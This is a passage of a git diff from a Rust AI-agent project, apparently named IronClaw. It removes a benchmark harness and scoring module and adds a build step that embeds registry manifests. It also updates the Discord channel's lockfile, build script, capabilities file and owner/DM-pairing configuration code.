Multi-turn suites (e.g., Tau-bench's `next_user_message()`) are not yet wired. -/// - **Resources not injected**: `BenchTask.resources` (e.g., GAIA file attachments) -/// are not included in the prompt or made available via the workspace. -/// - **Conversation not captured**: `TaskSubmission.conversation` is always empty, -/// which prevents multi-turn scoring hooks from working. -async fn run_task_isolated(params: TaskRunParams<'_>) -> TaskResult { - let TaskRunParams { - task, - suite_id, - config_label, - llm, - safety, - timeout, - additional_tools, - } = params; - - let started_at = Utc::now(); - let start = Instant::now(); - - // Wrap LLM with instrumentation - let instrumented = Arc::new(InstrumentedLlm::new(llm)); - - // Create bench channel - let (bench_channel, msg_tx) = BenchChannel::new(); - let capture = bench_channel.capture(); - - // Build tool registry - let tools = Arc::new(ToolRegistry::new()); - tools.register_builtin_tools(); - - // Register additional suite-specific tools - for tool in additional_tools { - tools.register(Arc::clone(tool)).await; - } - - // Build agent config (minimal, headless) - let agent_config = AgentConfig { - name: format!("bench-{}", task.id), - max_parallel_jobs: 1, - job_timeout: timeout, - stuck_threshold: timeout, - repair_check_interval: timeout + std::time::Duration::from_secs(999), - max_repair_attempts: 0, - use_planning: false, - session_idle_timeout: timeout, - allow_local_tools: true, - max_cost_per_day_cents: None, - max_actions_per_hour: None, - }; - - let cost_guard = Arc::new(ironclaw::agent::cost_guard::CostGuard::new( - ironclaw::agent::cost_guard::CostGuardConfig::default(), - )); - - let deps = AgentDeps { - store: None, - llm: instrumented.clone() as Arc, - cheap_llm: None, - safety, - tools, - workspace: None, - extension_manager: None, - skill_registry: None, - skills_config: ironclaw::config::SkillsConfig::default(), - hooks: Arc::new(ironclaw::hooks::HookRegistry::new()), - cost_guard, - }; - - let mut channels = ChannelManager::new(); - channels.add(Box::new(bench_channel)); - - let agent = Agent::new(agent_config, deps, channels, None, None, None, None); - - // Build the full prompt with context - let full_prompt = if let Some(ref ctx) = task.context { - format!("{}\n\nContext:\n{}", task.prompt, ctx) - } else { - task.prompt.clone() - }; - - // Inject the task prompt - let incoming = IncomingMessage::new("bench", "bench-user", &full_prompt); - if msg_tx.send(incoming).await.is_err() { - return make_error_result( - task, - suite_id, - config_label, - started_at, - "failed to send prompt", - ); - } - - // Record prompt in conversation - { - let mut cap = capture.lock().await; - cap.conversation.push(ConversationTurn { - role: TurnRole::User, - content: full_prompt, - }); - } - - // Run agent with timeout. - // After the first response, send /quit to end the session. - let quit_tx = msg_tx.clone(); - let capture_for_quit = Arc::clone(&capture); - let quit_handle = tokio::spawn(async move { - // Poll for first response - loop { - tokio::time::sleep(std::time::Duration::from_millis(100)).await; - let cap = capture_for_quit.lock().await; - if !cap.responses.is_empty() { - break; - } - } - // Give a small grace period for any final status events - tokio::time::sleep(std::time::Duration::from_millis(200)).await; - let quit = IncomingMessage::new("bench", "bench-user", "/quit"); - let _ = quit_tx.send(quit).await; - }); - - let agent_result = tokio::time::timeout(timeout, agent.run()).await; - - quit_handle.abort(); - - let wall_time = start.elapsed(); - let hit_timeout = agent_result.is_err(); - - if let Ok(Err(e)) = &agent_result { - tracing::warn!("Agent error for task {}: {}", task.id, e); - } - - // Extract results from capture - let cap = capture.lock().await; - let response = cap.responses.last().cloned().unwrap_or_default(); - - let trace = Trace { - wall_time_ms: wall_time.as_millis() as u64, - llm_calls: instrumented.call_count(), - input_tokens: instrumented.total_input_tokens(), - output_tokens: instrumented.total_output_tokens(), - estimated_cost_usd: instrumented.estimated_cost(), - tool_calls: cap.tool_calls.clone(), - turns: cap.responses.len() as u32, - hit_iteration_limit: false, - hit_timeout, - }; - - let error = if hit_timeout { - Some(format!("timeout after {}s", timeout.as_secs())) - } else if let Ok(Err(e)) = &agent_result { - Some(e.to_string()) - } else { - None - }; - - TaskResult { - task_id: task.id.clone(), - suite_id: suite_id.to_string(), - score: crate::suite::BenchScore { - value: 0.0, - label: "pending".to_string(), - details: None, - }, - trace, - response, - started_at, - finished_at: Utc::now(), - config_label: config_label.to_string(), - error, - } -} - -fn make_error_result( - task: &BenchTask, - suite_id: &str, - config_label: &str, - started_at: chrono::DateTime, - reason: &str, -) -> TaskResult { - TaskResult { - task_id: task.id.clone(), - suite_id: suite_id.to_string(), - score: crate::suite::BenchScore::fail(reason), - trace: Trace { - wall_time_ms: 0, - llm_calls: 0, - input_tokens: 0, - output_tokens: 0, - estimated_cost_usd: 0.0, - tool_calls: vec![], - turns: 0, - hit_iteration_limit: false, - hit_timeout: false, - }, - response: String::new(), - started_at, - finished_at: Utc::now(), - config_label: config_label.to_string(), - error: Some(reason.to_string()), - } -} - -/// Get the short git commit hash of HEAD, or "unknown" if not in a repo. -fn git_short_hash() -> String { - std::process::Command::new("git") - .args(["rev-parse", "--short", "HEAD"]) - .output() - .ok() - .and_then(|o| { - if o.status.success() { - Some(String::from_utf8_lossy(&o.stdout).trim().to_string()) - } else { - None - } - }) - .unwrap_or_else(|| "unknown".to_string()) -} diff --git a/benchmarks/src/scoring.rs b/benchmarks/src/scoring.rs deleted file mode 100644 index 312899e3..00000000 --- a/benchmarks/src/scoring.rs +++ /dev/null @@ -1,113 +0,0 @@ -use regex::Regex; - -use crate::suite::BenchScore; - -/// Normalize an answer string for comparison: lowercase, trim whitespace, -/// strip trailing punctuation, collapse internal whitespace. -pub fn normalize_answer(s: &str) -> String { - let trimmed = s.trim().to_lowercase(); - let collapsed: String = trimmed.split_whitespace().collect::>().join(" "); - collapsed.trim_end_matches(['.', ',', ';', '!']).to_string() -} - -/// Exact match after normalization. -pub fn exact_match(expected: &str, actual: &str) -> BenchScore { - let norm_expected = normalize_answer(expected); - let norm_actual = normalize_answer(actual); - if norm_expected == norm_actual { - BenchScore::pass() - } else { - BenchScore::fail(format!( - "expected \"{norm_expected}\", got \"{norm_actual}\"" - )) - } -} - -/// Check if the actual answer contains the expected substring (normalized). -pub fn contains_match(expected_substring: &str, actual: &str) -> BenchScore { - let norm_expected = normalize_answer(expected_substring); - let norm_actual = normalize_answer(actual); - if norm_actual.contains(&norm_expected) { - BenchScore::pass() - } else { - BenchScore::fail(format!("response does not contain \"{norm_expected}\"")) - } -} - -/// Check if the actual answer matches a regex pattern. -pub fn regex_match(pattern: &str, actual: &str) -> BenchScore { - match Regex::new(pattern) { - Ok(re) => { - if re.is_match(actual) { - BenchScore::pass() - } else { - BenchScore::fail(format!("response does not match pattern /{pattern}/")) - } - } - Err(e) => BenchScore::fail(format!("invalid regex pattern: {e}")), - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_normalize_answer() { - assert_eq!(normalize_answer(" Hello World. "), "hello world"); - assert_eq!(normalize_answer("Yes!"), "yes"); - assert_eq!(normalize_answer("42"), "42"); - assert_eq!(normalize_answer(" "), ""); - } - - #[test] - fn test_exact_match_pass() { - let score = exact_match("Hello World", " hello world. "); - assert_eq!(score.value, 1.0); - assert_eq!(score.label, "pass"); - } - - #[test] - fn test_exact_match_fail() { - let score = exact_match("hello", "world"); - assert_eq!(score.value, 0.0); - assert_eq!(score.label, "fail"); - } - - #[test] - fn test_contains_match_pass() { - let score = contains_match("world", "Hello World!"); - assert_eq!(score.value, 1.0); - } - - #[test] - fn test_contains_match_fail() { - let score = contains_match("xyz", "Hello World!"); - assert_eq!(score.value, 0.0); - } - - #[test] - fn test_regex_match_pass() { - let score = regex_match(r"\d{4}", "The year is 2024."); - assert_eq!(score.value, 1.0); - } - - #[test] - fn test_regex_match_fail() { - let score = regex_match(r"\d{4}", "No numbers here."); - assert_eq!(score.value, 0.0); - } - - #[test] - fn test_regex_match_invalid_pattern() { - let score = regex_match(r"[invalid", "anything"); - assert_eq!(score.value, 0.0); - assert!( - score - .details - .as_deref() - .unwrap_or("") - .contains("invalid regex") - ); - } -} diff --git a/benchmarks/src/suite.rs b/benchmarks/src/suite.rs deleted file mode 100644 index 2ef663f9..00000000 --- a/benchmarks/src/suite.rs +++ /dev/null @@ -1,154 +0,0 @@ -use std::sync::Arc; -use std::time::Duration; - -use async_trait::async_trait; - -use crate::error::BenchError; - -/// A single task in a benchmark suite. -#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] -pub struct BenchTask { - pub id: String, - pub prompt: String, - #[serde(default)] - pub context: Option, - #[serde(default)] - pub resources: Vec, - #[serde(default)] - pub tags: Vec, - #[serde(default)] - pub expected_turns: Option, - #[serde(default)] - pub timeout: Option, - #[serde(default)] - pub metadata: serde_json::Value, -} - -/// A resource attached to a benchmark task (file, URL, etc.). -#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] -pub struct TaskResource { - pub name: String, - pub path: String, - #[serde(default)] - pub resource_type: ResourceType, -} - -#[derive(Debug, Clone, Default, serde::Serialize, serde::Deserialize)] -#[serde(rename_all = "snake_case")] -pub enum ResourceType { - #[default] - File, - Url, - Directory, -} - -/// What the agent produced for scoring. -#[derive(Debug, Clone)] -#[allow(dead_code)] -pub struct TaskSubmission { - pub response: String, - pub conversation: Vec, - pub tool_calls: Vec, - pub error: Option, -} - -/// A single turn in a multi-turn conversation. -#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] -pub struct ConversationTurn { - pub role: TurnRole, - pub content: String, -} - -#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] -#[serde(rename_all = "snake_case")] -pub enum TurnRole { - User, - Assistant, - System, -} - -/// Score for a single task. -#[derive(Debug, Clone, PartialEq, serde::Serialize, serde::Deserialize)] -pub struct BenchScore { - /// 0.0 to 1.0 (1.0 = perfect). - pub value: f64, - /// "pass" / "fail" / "partial". - pub label: String, - #[serde(default)] - pub details: Option, -} - -impl BenchScore { - pub fn pass() -> Self { - Self { - value: 1.0, - label: "pass".to_string(), - details: None, - } - } - - pub fn fail(details: impl Into) -> Self { - Self { - value: 0.0, - label: "fail".to_string(), - details: Some(details.into()), - } - } - - pub fn partial(value: f64, details: impl Into) -> Self { - Self { - value: value.clamp(0.0, 1.0), - label: "partial".to_string(), - details: Some(details.into()), - } - } -} - -/// Trait for benchmark suite adapters. -/// -/// Each suite (GAIA, Tau-bench, custom, etc.) implements this trait -/// to provide task loading, scoring, and optional lifecycle hooks. -#[async_trait] -#[allow(dead_code)] -pub trait BenchSuite: Send + Sync { - /// Human-readable name (e.g., "GAIA Validation"). - fn name(&self) -> &str; - - /// Machine ID (e.g., "gaia"). - fn id(&self) -> &str; - - /// Load all tasks from the suite's data source. - async fn load_tasks(&self) -> Result, BenchError>; - - /// Score the agent's submission against the expected answer. - async fn score( - &self, - task: &BenchTask, - submission: &TaskSubmission, - ) -> Result; - - /// Optional: set up environment before running a task (clone repo, init DB, etc.). - async fn setup_task(&self, _task: &BenchTask) -> Result<(), BenchError> { - Ok(()) - } - - /// Optional: tear down environment after a task completes. - async fn teardown_task(&self, _task: &BenchTask) -> Result<(), BenchError> { - Ok(()) - } - - /// Optional: additional tools to register for this suite's tasks. - fn additional_tools(&self) -> Vec> { - vec![] - } - - /// Multi-turn: generate next simulated user message based on conversation so far. - /// Return `None` to end the conversation. - async fn next_user_message( - &self, - _task: &BenchTask, - _conversation: &[ConversationTurn], - ) -> Result, BenchError> { - Ok(None) - } -} diff --git a/build.rs b/build.rs index 8f695ee0..1f644aaf 100644 --- a/build.rs +++ b/build.rs @@ -10,12 +10,17 @@ //! Prerequisites: rustup target add wasm32-wasip2, cargo install wasm-tools use std::env; -use std::path::PathBuf; +use std::path::{Path, PathBuf}; use std::process::Command; fn main() { let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); let root = PathBuf::from(&manifest_dir); + + // ── Embed registry manifests ──────────────────────────────────────── + embed_registry_catalog(&root); + + // ── Build Telegram channel WASM ───────────────────────────────────── let channel_dir = root.join("channels-src/telegram"); let wasm_out = channel_dir.join("telegram.wasm"); @@ -104,3 +109,89 @@ fn main() { } } } + +/// Collect all registry manifests into a single JSON blob at compile time. +/// +/// Output: `$OUT_DIR/embedded_catalog.json` with structure: +/// ```json +/// { "tools": [...], "channels": [...], "bundles": {...} } +/// ``` +fn embed_registry_catalog(root: &Path) { + use std::fs; + + let registry_dir = root.join("registry"); + + // Rerun if the bundles file changes (per-file watches for tools/channels + // are emitted inside collect_json_files to track content changes reliably). + println!("cargo:rerun-if-changed=registry/_bundles.json"); + + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + let out_path = out_dir.join("embedded_catalog.json"); + + if !registry_dir.is_dir() { + // No registry dir: write empty catalog + fs::write( + &out_path, + r#"{"tools":[],"channels":[],"bundles":{"bundles":{}}}"#, + ) + .unwrap(); + return; + } + + let mut tools = Vec::new(); + let mut channels = Vec::new(); + + // Collect tool manifests + let tools_dir = registry_dir.join("tools"); + if tools_dir.is_dir() { + collect_json_files(&tools_dir, &mut tools); + } + + // Collect channel manifests + let channels_dir = registry_dir.join("channels"); + if channels_dir.is_dir() { + collect_json_files(&channels_dir, &mut channels); + } + + // Read bundles + let bundles_path = registry_dir.join("_bundles.json"); + let bundles_raw = if bundles_path.is_file() { + fs::read_to_string(&bundles_path).unwrap_or_else(|_| r#"{"bundles":{}}"#.to_string()) + } else { + r#"{"bundles":{}}"#.to_string() + }; + + // Build the combined JSON + let catalog = format!( + r#"{{"tools":[{}],"channels":[{}],"bundles":{}}}"#, + tools.join(","), + channels.join(","), + bundles_raw, + ); + + fs::write(&out_path, catalog).unwrap(); +} + +/// Read all .json files from a directory and push their raw contents into `out`. +fn collect_json_files(dir: &Path, out: &mut Vec) { + use std::fs; + + let mut entries: Vec<_> = fs::read_dir(dir) + .unwrap() + .filter_map(|e| e.ok()) + .filter(|e| { + e.path().is_file() && e.path().extension().and_then(|x| x.to_str()) == Some("json") + }) + .collect(); + + // Sort for deterministic output + entries.sort_by_key(|e| e.file_name()); + + for entry in entries { + // Emit per-file watch so Cargo reruns when file contents change + println!("cargo:rerun-if-changed={}", entry.path().display()); + if let Ok(content) = fs::read_to_string(entry.path()) { + out.push(content); + } + } +} diff --git a/channels-src/discord/Cargo.lock b/channels-src/discord/Cargo.lock new file mode 100644 index 00000000..e3a81af1 --- /dev/null +++ b/channels-src/discord/Cargo.lock @@ -0,0 +1,401 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "ahash" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75" +dependencies = [ + "cfg-if", + "once_cell", + "version_check", + "zerocopy", +] + +[[package]] +name = "anyhow" +version = "1.0.102" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" + +[[package]] +name = "bitflags" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af" + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "discord-channel" +version = "0.1.0" +dependencies = [ + "serde", + "serde_json", + "wit-bindgen", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" +dependencies = [ + "ahash", +] + +[[package]] +name = "hashbrown" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "indexmap" +version = "2.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7714e70437a7dc3ac8eb7e6f8df75fd8eb422675fc7678aff7364301092b1017" +dependencies = [ + "equivalent", + "hashbrown 0.16.1", + "serde", + "serde_core", +] + +[[package]] +name = "itoa" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2" + +[[package]] +name = "leb128" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "884e2677b40cc8c339eaefcb701c32ef1fd2493d71118dc0ca4b6a736c93bd67" + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21b2ebcf727b7760c461f091f9f0f539b77b8e87f2fd88131e7f1b433b3cece4" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "semver" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "spdx" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3e17e880bafaeb362a7b751ec46bdc5b61445a188f80e0606e68167cd540fa3" +dependencies = [ + "smallvec", +] + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-xid" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wasm-encoder" +version = "0.220.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e913f9242315ca39eff82aee0e19ee7a372155717ff0eb082c741e435ce25ed1" +dependencies = [ + "leb128", + "wasmparser", +] + +[[package]] +name = "wasm-metadata" +version = "0.220.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "185dfcd27fa5db2e6a23906b54c28199935f71d9a27a1a27b3a88d6fee2afae7" +dependencies = [ + "anyhow", + "indexmap", + "serde", + "serde_derive", + "serde_json", + "spdx", + "wasm-encoder", + "wasmparser", +] + +[[package]] +name = "wasmparser" +version = "0.220.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d07b6a3b550fefa1a914b6d54fc175dd11c3392da11eee604e6ffc759805d25" +dependencies = [ + "ahash", + "bitflags", + "hashbrown 0.14.5", + "indexmap", + "semver", +] + +[[package]] +name = "wit-bindgen" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a2b3e15cd6068f233926e7d8c7c588b2ec4fb7cc7bf3824115e7c7e2a8485a3" +dependencies = [ + "wit-bindgen-rt", + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen-core" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b632a5a0fa2409489bd49c9e6d99fcc61bb3d4ce9d1907d44662e75a28c71172" +dependencies = [ + "anyhow", + "heck", + "wit-parser", +] + +[[package]] +name = "wit-bindgen-rt" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7947d0131c7c9da3f01dfde0ab8bd4c4cf3c5bd49b6dba0ae640f1fa752572ea" +dependencies = [ + "bitflags", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4329de4186ee30e2ef30a0533f9b3c123c019a237a7c82d692807bf1b3ee2697" +dependencies = [ + "anyhow", + "heck", + "indexmap", + "prettyplease", + "syn", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "177fb7ee1484d113b4792cc480b1ba57664bbc951b42a4beebe573502135b1fc" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.220.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b505603761ed400c90ed30261f44a768317348e49f1864e82ecdc3b2744e5627" +dependencies = [ + "anyhow", + "bitflags", + "indexmap", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder", + "wasm-metadata", + "wasmparser", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.220.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae2a7999ed18efe59be8de2db9cb2b7f84d88b27818c79353dfc53131840fe1a" +dependencies = [ + "anyhow", + "id-arena", + "indexmap", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser", +] + +[[package]] +name = "zerocopy" +version = "0.8.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db6d35d663eadb6c932438e763b262fe1a70987f9ae936e60158176d710cae4a" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4122cd3169e94605190e77839c9a40d40ed048d305bfdc146e7df40ab0f3e517" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" diff --git a/channels-src/discord/Cargo.toml b/channels-src/discord/Cargo.toml index 6edd6e64..81e95260 100644 --- a/channels-src/discord/Cargo.toml +++ b/channels-src/discord/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "discord-channel" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Discord channel for IronClaw" license = "MIT OR Apache-2.0" @@ -9,7 +9,7 @@ publish = false [dependencies] serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" -wit-bindgen = "0.41.0" +wit-bindgen = "0.36" [lib] crate-type = ["cdylib"] @@ -21,3 +21,5 @@ lto = true codegen-units = 1 + +[workspace] diff --git a/channels-src/discord/build.sh b/channels-src/discord/build.sh new file mode 100755 index 00000000..b17e6af5 --- /dev/null +++ b/channels-src/discord/build.sh @@ -0,0 +1,48 @@ +#!/usr/bin/env bash +# Build the Discord channel WASM component +# +# Prerequisites: +# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2 +# - wasm-tools for component creation: cargo install wasm-tools +# +# Output: +# - discord.wasm - WASM component ready for deployment +# - discord.capabilities.json - Capabilities file (copy alongside .wasm) + +set -euo pipefail + +cd "$(dirname "$0")" + +if ! command -v wasm-tools &> /dev/null; then + echo "Error: wasm-tools not found. Install with: cargo install wasm-tools" + exit 1 +fi + +echo "Building Discord channel WASM component..." + +# Build the WASM module +cargo build --release --target wasm32-wasip2 + +# Convert to component model (if not already a component) +# wasm-tools component new is idempotent on components +WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm" + +if [ -f "$WASM_PATH" ]; then + # Create component if needed + wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm + + # Optimize the component + wasm-tools strip discord.wasm -o discord.wasm + + echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))" + echo "" + echo "To install:" + echo " mkdir -p ~/.ironclaw/channels" + echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/" + echo "" + echo "Then add your bot token to secrets:" + echo " # Set discord_bot_token and discord_public_key in your environment or secrets store" +else + echo "Error: WASM output not found at $WASM_PATH" + exit 1 +fi diff --git a/channels-src/discord/discord.capabilities.json b/channels-src/discord/discord.capabilities.json index 6dc5f9fe..fd55c685 100644 --- a/channels-src/discord/discord.capabilities.json +++ b/channels-src/discord/discord.capabilities.json @@ -1,7 +1,24 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "type": "channel", "name": "discord", "description": "Discord Gateway/Webhook channel for handling slash commands, buttons, and messages", + "setup": { + "required_secrets": [ + { + "name": "discord_bot_token", + "prompt": "Enter your Discord Bot Token. Find it under Bot > Token in your Discord Application settings.", + "optional": false + }, + { + "name": "discord_public_key", + "prompt": "Enter your Discord Application Public Key (found under General Information in your Discord Application settings).", + "optional": false + } + ], + "setup_url": "https://discord.com/developers/applications" + }, "capabilities": { "http": { "allowlist": [ @@ -10,7 +27,7 @@ "credentials": { "discord_bot_token": { "secret_name": "discord_bot_token", - "location": { "type": "header", "header_name": "Authorization", "prefix": "Bot " }, + "location": { "type": "header", "name": "Authorization", "prefix": "Bot " }, "host_patterns": ["discord.com"] } }, @@ -30,10 +47,16 @@ "emit_rate_limit": { "messages_per_minute": 100, "messages_per_hour": 5000 + }, + "webhook": { + "signature_key_secret_name": "discord_public_key" } } }, "config": { - "require_signature_verification": true + "require_signature_verification": true, + "owner_id": null, + "dm_policy": "pairing", + "allow_from": [] } } \ No newline at end of file diff --git a/channels-src/discord/src/lib.rs b/channels-src/discord/src/lib.rs index 2fa8b192..c8b37428 100644 --- a/channels-src/discord/src/lib.rs +++ b/channels-src/discord/src/lib.rs @@ -124,12 +124,57 @@ struct DiscordMessageMetadata { thread_id: Option, } +/// Workspace path for persisting owner_id across WASM callbacks. +const OWNER_ID_PATH: &str = "state/owner_id"; +/// Workspace path for persisting dm_policy across WASM callbacks. +const DM_POLICY_PATH: &str = "state/dm_policy"; +/// Workspace path for persisting allow_from (JSON array) across WASM callbacks. +const ALLOW_FROM_PATH: &str = "state/allow_from"; +/// Channel name for pairing store (used by pairing host APIs). +const CHANNEL_NAME: &str = "discord"; + +/// Channel configuration from capabilities file. +#[derive(Debug, Deserialize)] +struct DiscordConfig { + #[serde(default)] + #[allow(dead_code)] + require_signature_verification: bool, + #[serde(default)] + owner_id: Option, + #[serde(default)] + dm_policy: Option, + #[serde(default)] + allow_from: Option>, +} + struct DiscordChannel; impl Guest for DiscordChannel { - fn on_start(_config_json: String) -> Result { + fn on_start(config_json: String) -> Result { + let config: DiscordConfig = serde_json::from_str(&config_json) + .map_err(|e| format!("Failed to parse config: {}", e))?; + channel_host::log(channel_host::LogLevel::Info, "Discord channel starting"); + // Persist owner_id so subsequent callbacks can read it + if let Some(ref owner_id) = config.owner_id { + let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id); + channel_host::log( + channel_host::LogLevel::Info, + &format!("Owner restriction enabled: user {}", owner_id), + ); + } else { + let _ = channel_host::workspace_write(OWNER_ID_PATH, ""); + } + + // Persist dm_policy and allow_from for DM pairing + let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing"); + let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy); + + let allow_from_json = 